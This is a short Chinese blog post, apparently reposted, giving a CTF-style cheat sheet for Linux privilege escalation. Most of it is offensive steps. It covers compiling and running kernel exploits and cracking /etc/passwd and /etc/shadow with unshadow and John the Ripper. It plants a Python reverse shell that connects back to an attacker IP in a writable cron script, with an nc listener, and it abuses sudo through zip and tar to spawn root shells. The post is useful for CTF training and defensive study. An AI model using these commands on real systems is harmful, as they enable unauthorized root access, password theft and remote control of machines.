CTF-内核漏洞提权

Posted crux614

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTF-内核漏洞提权相关的知识,希望对你有一定的参考价值。

1. 内核漏洞提权

  查看发行版本:  cat /etc/issue  cat /etc/*-release

  查看内核版本:  uname -a

  寻找内核溢出代码:  searchspoit 发行版本 内核版本

  上传内核溢出代码,编译执行  gcc xxx.c -o exploit

                  chmod +x exploit

                  ./exploit

2. 明文root密码提取

  大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件相关

  passwd里储存了用户,shadow里是密码的hash。passwd全用户可读,root可写。shadow仅root读写。

  例如

      /etc/passwd /etc/shadow

      unshadow passwd shadow > cracked

      john cracked

3. 计划任务

  一般定时执行的任务由crontab管理,非root用户不可列出,但 /etc/内系统的计划任务可以被列出。

  如果其中一个脚本配置成任意用户可写,就可以修改脚本回连rootshell

  攻击机启动nc监听端口 nc -nlvp port

  脚本代码:

      #!/user/bin/python

      import os,subprocess,socket

 

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      s.connect(("攻击机IP","攻击机监听端口"))

      os.dup2(s.fileno(),0)

      os.dup2(s.fileno(),1)

      os.dup2(s.fileno(),2)

      p=subprocess.call(["/bin/sh","-i"])

4. 密码复用

  模拟终端设备:

    python -c‘import pty;pty.spawn("/bin/sh")‘

  使用sudo -l 查看当前用户可以使用root提权的命令信息;

  利用zip提权

    touch exploit

    sudo -u root zip exploit.zip exploit-T -unzip-command="sh -c /bin/bash"

  利用tar提权

    sudo -u root tar cf /dev/null exploit -checkpoint -checkpoint=1 --checkpoint-action=" /bin/bash"

以上是关于CTF-内核漏洞提权的主要内容,如果未能解决你的问题,请参考以下文章

Windows提权第一篇-内核溢出漏洞提权

CVE-2022-0847 Linux内核提权漏洞分析

CVE-2022-0847 Linux内核提权漏洞分析

CVE-2022-0847 Linux内核提权漏洞分析

Linux内核提权漏洞(CVE-2016-8655)

Linux内核漏洞提权(以CVE-2015-1328为例)